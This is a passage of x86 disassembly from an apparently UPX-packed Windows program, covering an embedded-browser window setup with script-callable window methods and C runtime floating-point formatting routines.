lea eax, [esp+438h+var_420]
push eax
push 10h
push [ebp+arg_8]
call sub_40B376
push eax
call sub_4010F0
; ---------------------------------------------------------------------------
add esp, 14h
xor eax, eax
mov word ptr [esp+434h+var_420], ax
loc_41887D: ; CODE XREF: sub_4186D9+181j
lea eax, [esp+434h+var_420]
push eax
call esi ; dword_41D23C
loc_418884: ; CODE XREF: sub_4186D9+C6j
; sub_4186D9+158j
xor eax, eax
loc_418886: ; CODE XREF: sub_4186D9+9Cj
; sub_4186D9+DEj
mov ecx, [esp+434h+var_C]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0Ch
sub_4186D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=20Ch
sub_41889D proc near ; CODE XREF: sub_404BAF+Fp
var_248 = byte ptr -248h
var_244 = dword ptr -244h
var_240 = dword ptr -240h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_210 = dword ptr -210h
var_20C = byte ptr -20Ch
var_4 = dword ptr -4
push ebp
sub esp, 208h
lea ebp, [esp-4]
mov eax, dword_42A034
xor eax, ebp
mov [ebp+20Ch+var_4], eax
push 30h
mov eax, offset loc_41C0B7
call sub_40C46D
lea eax, [ebp+20Ch+var_244]
mov esi, ecx
push eax
push dword ptr [esi+4]
mov [ebp+20Ch+var_228], esi
call dword_41D34C ; GetClientRect
mov eax, [esi+4]
xor edi, edi
push edi
push dword_42E350
lea ebx, [esi+30h]
push edi
push eax
mov eax, [ebp+20Ch+var_238]
sub eax, [ebp+20Ch+var_240]
mov [ebp+20Ch+var_22C], ebx
push eax
mov eax, [ebp+20Ch+var_23C]
sub eax, [ebp+20Ch+var_244]
push eax
push [ebp+20Ch+var_240]
push [ebp+20Ch+var_244]
push 50200000h
push offset dword_423B24
push offset aAtlaxwin80 ; "AtlAxWin80"
push edi
call dword_41D290 ; CreateWindowExW
add esi, 24h
mov [ebx], eax
mov [ebp+20Ch+var_234], esi
mov [ebp+20Ch+var_21C], edi
push ebx
lea ebx, [ebp+20Ch+var_21C]
mov [ebp+20Ch+var_210], edi
call sub_4053D6
cmp eax, edi
jl short loc_418936
mov eax, [ebp+20Ch+var_21C]
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx+1Ch]
loc_418936: ; CODE XREF: sub_41889D+8Dj
or [ebp+20Ch+var_210], 0FFFFFFFFh
mov eax, [ebp+20Ch+var_21C]
cmp eax, edi
jz short loc_418947
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_418947: ; CODE XREF: sub_41889D+A2j
push 104h
lea eax, [ebp+20Ch+var_20C]
push eax
push dword_42E350
call dword_41D1FC ; GetModuleFileNameW
push offset aRes ; "res://"
lea esi, [ebp+20Ch+var_21C]
call sub_4011E3
lea eax, [ebp+20Ch+var_20C]
mov [ebp+20Ch+var_210], 1
mov esi, dword_41D1F0
push eax
call esi ; dword_41D1F0
push eax
lea eax, [ebp+20Ch+var_20C]
push eax
lea edi, [ebp+20Ch+var_21C]
call sub_401260
mov edi, offset asc_423B38 ; "/"
push edi
call esi ; dword_41D1F0
push eax
push edi
lea edi, [ebp+20Ch+var_21C]
call sub_401260
mov eax, [ebp+20Ch+var_228]
mov esi, [eax+2Ch]
push esi
call dword_41D238
mov edi, dword_41D25C
test eax, eax
jz short loc_4189D2
and [ebp+20Ch+var_224], 0
lea eax, [ebp+20Ch+var_224]
push eax
push esi
push [ebp+20Ch+var_21C]
call sub_40AB90
test eax, eax
jl short loc_4189D2
push [ebp+20Ch+var_21C]
call edi ; dword_41D25C
mov eax, [ebp+20Ch+var_224]
mov [ebp+20Ch+var_21C], eax
loc_4189D2: ; CODE XREF: sub_41889D+113j
; sub_41889D+128j
mov esi, [ebp+20Ch+var_22C]
push [ebp+20Ch+var_21C]
mov ecx, esi
call sub_40534A
push offset dword_4242D4
push esi
lea ebx, [ebp+20Ch+var_220]
call sub_404C9D
lea eax, [ebp+20Ch+var_248]
push eax
mov eax, [ebp+20Ch+var_220]
push offset dword_424394
push [ebp+20Ch+var_234]
call sub_4014D6
mov eax, [ebp+20Ch+var_220]
mov ecx, [eax]
push 0
push eax
call dword ptr [ecx+100h]
push dword ptr [esi]
call dword_41D354 ; SetFocus
mov eax, [ebp+20Ch+var_220]
mov ecx, [eax]
lea edx, [ebp+20Ch+var_230]
push edx
push eax
call dword ptr [ecx+48h]
mov edx, [ebp+20Ch+var_228]
mov eax, [ebp+20Ch+var_230]
mov ecx, [eax]
add edx, 34h
push edx
push offset dword_424384
push eax
call dword ptr [ecx]
mov eax, [ebp+20Ch+var_220]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
push [ebp+20Ch+var_21C]
call edi ; dword_41D25C
xor eax, eax
mov ecx, [ebp+20Ch+var_218]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [ebp+20Ch+var_4]
xor ecx, ebp
call sub_40AC1C
add ebp, 20Ch
leave
retn
sub_41889D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A6B proc near ; DATA XREF: UPX0:00423FF0o
; UPX0:00424C2Co ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 186A0h
mov eax, 80004001h
jl short loc_418A92
push ebx
push [ebp+arg_18]
mov ebx, [ebp+arg_0]
push [ebp+arg_14]
add ebx, 0FFFFFFDCh
push [ebp+arg_4]
call sub_4186D9
pop ebx
loc_418A92: ; CODE XREF: sub_418A6B+Fj
pop ebp
retn 24h
sub_418A6B endp
; =============== S U B R O U T I N E =======================================
sub_418A96 proc near ; CODE XREF: sub_408D98+15p
; sub_4091FA+15p ...
push 4
mov eax, offset loc_41C107
call sub_40C46D
mov edi, [ebp+8]
mov eax, dword_41D278
xor ebx, ebx
mov [edi+4], ebx
mov [edi+14h], ebx
mov [edi+18h], ebx
mov [edi+1Ch], ebx
mov [edi+20h], eax
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
lea esi, [edi+2Ch]
mov dword ptr [edi], offset off_423FBC
mov dword ptr [edi+24h], (offset loc_423FD7+1)
call sub_4011E3
mov byte ptr [ebp-4], 1
mov [edi+30h], ebx
call sub_404725
lea esi, [edi+3Ch]
push 4
mov [edi+38h], bl
mov [ebp+0Ch], esi
call sub_40B45F
pop ecx
cmp eax, ebx
jz short loc_418AFB
mov [eax], esi
jmp short loc_418AFD
; ---------------------------------------------------------------------------
loc_418AFB: ; CODE XREF: sub_418A96+5Fj
xor eax, eax
loc_418AFD: ; CODE XREF: sub_418A96+63j
mov [esi], eax
mov byte ptr [ebp-4], 2
call sub_406458
lea ecx, [esi+18h]
mov [ecx], eax
mov byte ptr [eax+49h], 1
mov eax, [ecx]
mov [eax+4], eax
mov eax, [ecx]
mov [eax], eax
mov ecx, [ecx]
mov [ecx+8], ecx
mov [esi+1Ch], ebx
xor ecx, ecx
push ecx
mov eax, offset sub_417C70
push eax
push ebx
push offset aShow ; "Show"
mov ecx, edi
mov byte ptr [ebp-4], 3
call sub_418122
xor ecx, ecx
push ecx
mov eax, offset loc_4071FE
push eax
push ebx
push offset aClose ; "Close"
mov ecx, edi
call sub_418122
xor ecx, ecx
push ecx
mov eax, offset loc_417A4D
push eax
push ebx
push offset aSettitle ; "SetTitle"
mov ecx, edi
call sub_418122
xor ecx, ecx
push ecx
mov eax, offset loc_417A38
push eax
push ebx
push offset aDragwindow ; "DragWindow"
mov ecx, edi
call sub_418122
xor ecx, ecx
push ecx
mov eax, offset loc_417A12
push eax
push ebx
push offset aResizewindow ; "ResizeWindow"
mov ecx, edi
call sub_418122
xor ecx, ecx
push ecx
mov eax, offset loc_417A04
push eax
push ebx
push offset aMinimizewindow ; "MinimizeWindow"
mov ecx, edi
call sub_418122
xor ecx, ecx
push ecx
mov eax, offset loc_417C42
push eax
push ebx
push offset aTogglemaximize ; "ToggleMaximizeNormalWindow"
mov ecx, edi
call sub_418122
xor ecx, ecx
push ecx
mov eax, offset loc_4179AF
push eax
push ebx
push offset aSetopacity ; "SetOpacity"
mov ecx, edi
call sub_418122
mov eax, edi
call sub_40C50C
retn 8
sub_418A96 endp ; sp-analysis failed
; [00000048 BYTES: COLLAPSED FUNCTION __SEH_prolog4_GS. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __SEH_epilog4_GS. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_418C38 proc near ; CODE XREF: sub_418C98+5p
mov eax, offset sub_419823
mov dword_42ACF0, eax
mov dword_42ACF4, offset sub_418F0A
mov dword_42ACF8, offset sub_418EBE
mov dword_42ACFC, offset sub_418EF7
mov dword_42AD00, offset sub_418E60
mov dword_42AD04, eax
mov dword_42AD08, offset sub_41979B
mov dword_42AD0C, offset sub_418E7C
mov dword_42AD10, offset sub_418DDE
mov dword_42AD14, offset sub_418D6B
retn
sub_418C38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C98 proc near ; CODE XREF: sub_40DB8F+20p
; DATA XREF: UPX0:off_424D00o
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
call sub_418C38
call sub_4198AF
cmp [ebp+arg_0], 0
mov dword_42F130, eax
jz short loc_418CB7
call sub_419846
loc_418CB7: ; CODE XREF: sub_418C98+18j
fnclex
pop ebp
retn
sub_418C98 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418CC0 proc near ; CODE XREF: sub_4098E0+1FAp
var_24 = dword ptr -24h
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
var_4 = word ptr -4
cmp dword_430144, 0
jz short loc_418CF6
loc_418CC9: ; CODE XREF: sub_418CC0+34j
push ebp
mov ebp, esp
sub esp, 8
and esp, 0FFFFFFF8h
fstp [esp+0Ch+var_C]
cvttsd2si eax, [esp+0Ch+var_C]
leave
retn
; ---------------------------------------------------------------------------
cmp dword_430144, 0
jz short loc_418CF6
sub esp, 4
fnstcw [esp+4+var_4]
pop eax
and ax, 7Fh
cmp ax, 7Fh
jz short loc_418CC9
loc_418CF6: ; CODE XREF: sub_418CC0+7j
; sub_418CC0+23j
push ebp
mov ebp, esp
sub esp, 20h
and esp, 0FFFFFFF0h
fld st
fst dword ptr [esp+24h+var_C]
fistp [esp+24h+var_14]
fild [esp+24h+var_14]
mov edx, dword ptr [esp+24h+var_C]
mov eax, dword ptr [esp+24h+var_14]
test eax, eax
jz short loc_418D55
loc_418D19: ; CODE XREF: sub_418CC0+9Fj
fsubp st(1), st
test edx, edx
jns short loc_418D3D
fstp [esp+24h+var_24]
mov ecx, [esp+24h+var_24]
xor ecx, 80000000h
add ecx, 7FFFFFFFh
adc eax, 0
mov edx, dword ptr [esp+24h+var_14+4]
adc edx, 0
jmp short locret_418D69
; ---------------------------------------------------------------------------
loc_418D3D: ; CODE XREF: sub_418CC0+5Dj
fstp [esp+24h+var_24]
mov ecx, [esp+24h+var_24]
add ecx, 7FFFFFFFh
sbb eax, 0
mov edx, dword ptr [esp+24h+var_14+4]
sbb edx, 0
jmp short locret_418D69
; ---------------------------------------------------------------------------
loc_418D55: ; CODE XREF: sub_418CC0+57j
mov edx, dword ptr [esp+24h+var_14+4]
test edx, 7FFFFFFFh
jnz short loc_418D19
fstp dword ptr [esp+24h+var_C]
fstp dword ptr [esp+24h+var_C]
locret_418D69: ; CODE XREF: sub_418CC0+7Bj
; sub_418CC0+93j
leave
retn
sub_418CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D6B proc near ; CODE XREF: sub_418EF7+Ap
; DATA XREF: sub_418C38+55o
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push esi
push [ebp+arg_4]
lea ecx, [ebp+var_10]
call sub_40C799
mov esi, [ebp+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_4166BA
cmp eax, 65h
jmp short loc_418D9C
; ---------------------------------------------------------------------------
loc_418D90: ; CODE XREF: sub_418D6B+32j
inc esi
movzx eax, byte ptr [esi]
push eax
call sub_415847
test eax, eax
loc_418D9C: ; CODE XREF: sub_418D6B+23j
pop ecx
jnz short loc_418D90
movsx eax, byte ptr [esi]
push eax
call sub_4166BA
pop ecx
cmp eax, 78h
jnz short loc_418DB0
inc esi
inc esi
loc_418DB0: ; CODE XREF: sub_418D6B+41j
mov ecx, [ebp+var_10]
mov ecx, [ecx+0BCh]
mov ecx, [ecx]
mov al, [esi]
mov cl, [ecx]
mov [esi], cl
inc esi
loc_418DC2: ; CODE XREF: sub_418D6B+62j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_418DC2
pop esi
cmp [ebp+var_4], cl
jz short locret_418DDC
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
locret_418DDC: ; CODE XREF: sub_418D6B+68j
leave
retn
sub_418D6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DDE proc near ; CODE XREF: sub_418F0A+Ap
; DATA XREF: sub_418C38+4Bo
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push esi
push [ebp+arg_4]
lea ecx, [ebp+var_10]
call sub_40C799
mov eax, [ebp+arg_0]
mov cl, [eax]
mov esi, [ebp+var_10]
test cl, cl
jz short loc_418E13
mov edx, [esi+0BCh]
mov edx, [edx]
mov dl, [edx]
loc_418E08: ; CODE XREF: sub_418DDE+33j
cmp cl, dl
jz short loc_418E13
inc eax
mov cl, [eax]
test cl, cl
jnz short loc_418E08
loc_418E13: ; CODE XREF: sub_418DDE+1Ej
; sub_418DDE+2Cj
mov cl, [eax]
inc eax
test cl, cl
jz short loc_418E50
jmp short loc_418E27
; ---------------------------------------------------------------------------
loc_418E1C: ; CODE XREF: sub_418DDE+4Dj
cmp cl, 65h
jz short loc_418E2D
cmp cl, 45h
jz short loc_418E2D
inc eax
loc_418E27: ; CODE XREF: sub_418DDE+3Cj
mov cl, [eax]
test cl, cl
jnz short loc_418E1C
loc_418E2D: ; CODE XREF: sub_418DDE+41j
; sub_418DDE+46j
mov edx, eax
loc_418E2F: ; CODE XREF: sub_418DDE+55j
dec eax
cmp byte ptr [eax], 30h
jz short loc_418E2F
mov ecx, [esi+0BCh]
mov ecx, [ecx]
push ebx
mov bl, [eax]
cmp bl, [ecx]
pop ebx
jnz short loc_418E46
dec eax
loc_418E46: ; CODE XREF: sub_418DDE+65j
; sub_418DDE+70j
mov cl, [edx]
inc eax
inc edx
mov [eax], cl
test cl, cl
jnz short loc_418E46
loc_418E50: ; CODE XREF: sub_418DDE+3Aj
cmp [ebp+var_4], 0
pop esi
jz short locret_418E5E
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
locret_418E5E: ; CODE XREF: sub_418DDE+77j
leave
retn
sub_418DDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E60 proc near ; DATA XREF: sub_418C38+28o
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
fldz
mov eax, [ebp+arg_0]
fcomp qword ptr [eax]
fnstsw ax
test ah, 41h
jp short loc_418E78
xor eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418E78: ; CODE XREF: sub_418E60+11j
xor eax, eax
pop ebp
retn
sub_418E60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E7C proc near ; CODE XREF: sub_418EBE+10p
; DATA XREF: sub_418C38+41o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_C]
push [ebp+arg_8]
jz short loc_418EA8
lea eax, [ebp+var_8]
push eax
call sub_4198D8
mov ecx, [ebp+var_8]
mov eax, [ebp+arg_4]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
jmp short loc_418EB9
; ---------------------------------------------------------------------------
loc_418EA8: ; CODE XREF: sub_418E7C+11j
lea eax, [ebp+arg_0]
push eax
call sub_419980
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
loc_418EB9: ; CODE XREF: sub_418E7C+2Aj
add esp, 0Ch
leave
retn
sub_418E7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EBE proc near ; DATA XREF: sub_418C38+14o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_418E7C
add esp, 10h
pop ebp
retn
sub_418EBE endp
; =============== S U B R O U T I N E =======================================
sub_418ED8 proc near ; CODE XREF: sub_418F1D+8Ap
; sub_4194EF+8Cp ...
mov edi, edi
push esi
mov esi, eax
test edi, edi
jz short loc_418EF5
push esi
call sub_40BFB0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_40CA30
add esp, 10h
loc_418EF5: ; CODE XREF: sub_418ED8+7j
pop esi
retn
sub_418ED8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EF7 proc near ; DATA XREF: sub_418C38+1Eo
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_0]
call sub_418D6B
pop ecx
pop ecx
pop ebp
retn
sub_418EF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F0A proc near ; DATA XREF: sub_418C38+Ao
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_0]
call sub_418DDE
pop ecx
pop ecx
pop ebp
retn
sub_418F0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F1D proc near ; CODE XREF: sub_41908C+B9p
; sub_4196A1+E3p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
push [ebp+arg_14]
lea ecx, [ebp+var_10]
mov ebx, eax
call sub_40C799
xor esi, esi
cmp ebx, esi
jnz short loc_418F66
loc_418F3B: ; CODE XREF: sub_418F1D+4Cj
call sub_40C862
push 16h
loc_418F42: ; CODE XREF: sub_418F1D+69j
pop edi
push esi
push esi
push esi
push esi
push esi
mov [eax], edi
call sub_40B255
add esp, 14h
cmp [ebp+var_4], 0
jz short loc_418F5F
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_418F5F: ; CODE XREF: sub_418F1D+39j
mov eax, edi
jmp loc_419087
; ---------------------------------------------------------------------------
loc_418F66: ; CODE XREF: sub_418F1D+1Cj
cmp [ebp+arg_0], esi
jbe short loc_418F3B
cmp [ebp+arg_4], esi
jle short loc_418F75
mov eax, [ebp+arg_4]
jmp short loc_418F77
; ---------------------------------------------------------------------------
loc_418F75: ; CODE XREF: sub_418F1D+51j
xor eax, eax
loc_418F77: ; CODE XREF: sub_418F1D+56j
add eax, 9
cmp [ebp+arg_0], eax
ja short loc_418F88
call sub_40C862
push 22h
jmp short loc_418F42
; ---------------------------------------------------------------------------
loc_418F88: ; CODE XREF: sub_418F1D+60j
cmp [ebp+arg_10], 0
jz short loc_418FAC
mov edx, [ebp+arg_C]
xor eax, eax
cmp [ebp+arg_4], esi
setnle al
xor ecx, ecx
cmp dword ptr [edx], 2Dh
setz cl
mov edi, eax
add ecx, ebx
mov eax, ecx
call sub_418ED8
loc_418FAC: ; CODE XREF: sub_418F1D+6Fj
mov edi, [ebp+arg_C]
cmp dword ptr [edi], 2Dh
mov esi, ebx
jnz short loc_418FBC
mov byte ptr [ebx], 2Dh
lea esi, [ebx+1]
loc_418FBC: ; CODE XREF: sub_418F1D+97j
cmp [ebp+arg_4], 0
jle short loc_418FDA
lea eax, [esi+1]
mov cl, [eax]
mov [esi], cl
mov esi, eax
mov eax, [ebp+var_10]
mov eax, [eax+0BCh]
mov eax, [eax]
mov al, [eax]
mov [esi], al
loc_418FDA: ; CODE XREF: sub_418F1D+A3j
xor eax, eax
cmp [ebp+arg_10], al
setz al
add eax, [ebp+arg_4]
add esi, eax
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_418FF2
or ebx, 0FFFFFFFFh
jmp short loc_418FF7
; ---------------------------------------------------------------------------
loc_418FF2: ; CODE XREF: sub_418F1D+CEj
sub ebx, esi
add ebx, [ebp+arg_0]
loc_418FF7: ; CODE XREF: sub_418F1D+D3j
push offset byte_424D0C
push ebx
push esi
call sub_40CD95
add esp, 0Ch
xor ebx, ebx
test eax, eax
jz short loc_419019
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_419019: ; CODE XREF: sub_418F1D+EDj
lea ecx, [esi+2]
cmp [ebp+arg_8], ebx
jz short loc_419024
mov byte ptr [esi], 45h
loc_419024: ; CODE XREF: sub_418F1D+102j
mov eax, [edi+0Ch]
inc esi
cmp byte ptr [eax], 30h
jz short loc_41905B
mov eax, [edi+4]
dec eax
jns short loc_419038
neg eax
mov byte ptr [esi], 2Dh
loc_419038: ; CODE XREF: sub_418F1D+114j
inc esi
cmp eax, 64h
jl short loc_419048
cdq
push 64h
pop edi
idiv edi
add [esi], al
mov eax, edx
loc_419048: ; CODE XREF: sub_418F1D+11Fj
inc esi
cmp eax, 0Ah
jl short loc_419058
cdq
push 0Ah
pop edi
idiv edi
add [esi], al
mov eax, edx
loc_419058: ; CODE XREF: sub_418F1D+12Fj
add [esi+1], al
loc_41905B: ; CODE XREF: sub_418F1D+10Ej
test byte_42F134, 1
jz short loc_419078
cmp byte ptr [ecx], 30h
jnz short loc_419078
push 3
lea eax, [ecx+1]
push eax
push ecx
call sub_40CA30
add esp, 0Ch
loc_419078: ; CODE XREF: sub_418F1D+145j
; sub_418F1D+14Aj
cmp [ebp+var_4], 0
jz short loc_419085
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_419085: ; CODE XREF: sub_418F1D+15Fj
xor eax, eax
loc_419087: ; CODE XREF: sub_418F1D+44j
pop edi
pop esi
pop ebx
leave
retn
sub_418F1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41908C proc near ; CODE XREF: sub_41915C+16p
; sub_41979B+7Ep
var_2C = dword ptr -2Ch
var_1C = byte ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
push 16h
pop esi
push esi
lea ecx, [ebp+var_1C]
push ecx
lea ecx, [ebp+var_2C]
push ecx
push dword ptr [eax+4]
push dword ptr [eax]
call sub_419BA4
xor ebx, ebx
add esp, 14h
cmp edi, ebx
jnz short loc_4190DE
loc_4190C6: ; CODE XREF: sub_41908C+57j
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov [eax], esi
call sub_40B255
add esp, 14h
mov eax, esi
jmp short loc_41914D
; ---------------------------------------------------------------------------
loc_4190DE: ; CODE XREF: sub_41908C+38j
mov eax, [ebp+arg_8]
cmp eax, ebx
jbe short loc_4190C6
mov esi, [ebp+arg_C]
cmp eax, 0FFFFFFFFh
jnz short loc_4190F2
or eax, 0FFFFFFFFh
jmp short loc_419106
; ---------------------------------------------------------------------------
loc_4190F2: ; CODE XREF: sub_41908C+5Fj
xor ecx, ecx
cmp [ebp+var_2C], 2Dh
setz cl
sub eax, ecx
xor ecx, ecx
cmp esi, ebx
setnle cl
sub eax, ecx
loc_419106: ; CODE XREF: sub_41908C+64j
lea ecx, [ebp+var_2C]
push ecx
lea ecx, [esi+1]
push ecx
push eax
xor eax, eax
cmp [ebp+var_2C], 2Dh
setz al
xor ecx, ecx
cmp esi, ebx
setnle cl
add eax, edi
add ecx, eax
push ecx
call sub_419A28
add esp, 10h
cmp eax, ebx
jz short loc_419134
mov [edi], bl
jmp short loc_41914D
; ---------------------------------------------------------------------------
loc_419134: ; CODE XREF: sub_41908C+A2j
push [ebp+arg_14]
lea eax, [ebp+var_2C]
push ebx
push eax
push [ebp+arg_10]
mov eax, edi
push esi
push [ebp+arg_8]
call sub_418F1D
add esp, 18h
loc_41914D: ; CODE XREF: sub_41908C+50j
; sub_41908C+A6j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_41908C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41915C proc near ; CODE XREF: sub_41917C+BFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41908C
add esp, 18h
pop ebp
retn
sub_41915C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41917C proc near ; CODE XREF: sub_41979B+65p
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 24h
push esi
push edi
push [ebp+arg_14]
lea ecx, [ebp+var_24]
mov [ebp+var_14], 3FFh
xor edi, edi
mov [ebp+var_4], 30h
call sub_40C799
cmp [ebp+arg_C], edi
jge short loc_4191A9
mov [ebp+arg_C], edi
loc_4191A9: ; CODE XREF: sub_41917C+28j
mov esi, [ebp+arg_4]
cmp esi, edi
jnz short loc_4191DB
loc_4191B0: ; CODE XREF: sub_41917C+62j
call sub_40C862
push 16h
loc_4191B7: ; CODE XREF: sub_41917C+79j
pop esi
push edi
push edi
push edi
push edi
push edi
mov [eax], esi
call sub_40B255
add esp, 14h
cmp [ebp+var_18], 0
jz short loc_4191D4
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4191D4: ; CODE XREF: sub_41917C+4Fj
mov eax, esi
jmp loc_4194EB
; ---------------------------------------------------------------------------
loc_4191DB: ; CODE XREF: sub_41917C+32j
cmp [ebp+arg_8], edi
jbe short loc_4191B0
mov eax, [ebp+arg_C]
add eax, 0Bh
mov byte ptr [esi], 0
cmp [ebp+arg_8], eax
ja short loc_4191F7
call sub_40C862
push 22h
jmp short loc_4191B7
; ---------------------------------------------------------------------------
loc_4191F7: ; CODE XREF: sub_41917C+70j
mov edi, [ebp+arg_0]
mov eax, [edi]
mov [ebp+var_C], eax
mov eax, [edi+4]
mov ecx, eax
shr ecx, 14h
mov edx, 7FFh
push ebx
and ecx, edx
xor ebx, ebx
cmp ecx, edx
jnz loc_4192A9
test ebx, ebx
jnz loc_4192A9
mov eax, [ebp+arg_8]
cmp eax, 0FFFFFFFFh
jnz short loc_41922D
or eax, eax
jmp short loc_419230
; ---------------------------------------------------------------------------
loc_41922D: ; CODE XREF: sub_41917C+ABj
add eax, 0FFFFFFFEh
loc_419230: ; CODE XREF: sub_41917C+AFj
push 0
push [ebp+arg_C]
lea ebx, [esi+2]
push eax
push ebx
push edi
call sub_41915C
add esp, 14h
test eax, eax
jz short loc_419260
cmp [ebp+var_18], 0
mov byte ptr [esi], 0
jz loc_4194EA
mov ecx, [ebp+var_1C]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp loc_4194EA
; ---------------------------------------------------------------------------
loc_419260: ; CODE XREF: sub_41917C+C9j
cmp byte ptr [ebx], 2Dh
jnz short loc_419269
mov byte ptr [esi], 2Dh
inc esi
loc_419269: ; CODE XREF: sub_41917C+E7j
mov byte ptr [esi], 30h
inc esi
cmp [ebp+arg_10], 0
push 65h
setz al
dec al
and al, 0E0h
add al, 78h
mov [esi], al
inc esi
push esi
call sub_415CA0
pop ecx
pop ecx
test eax, eax
jz loc_4194DB
cmp [ebp+arg_10], 0
setz cl
dec cl
and cl, 0E0h
add cl, 70h
mov [eax], cl
mov byte ptr [eax+3], 0
jmp loc_4194DB
; ---------------------------------------------------------------------------
loc_4192A9: ; CODE XREF: sub_41917C+97j
; sub_41917C+9Fj
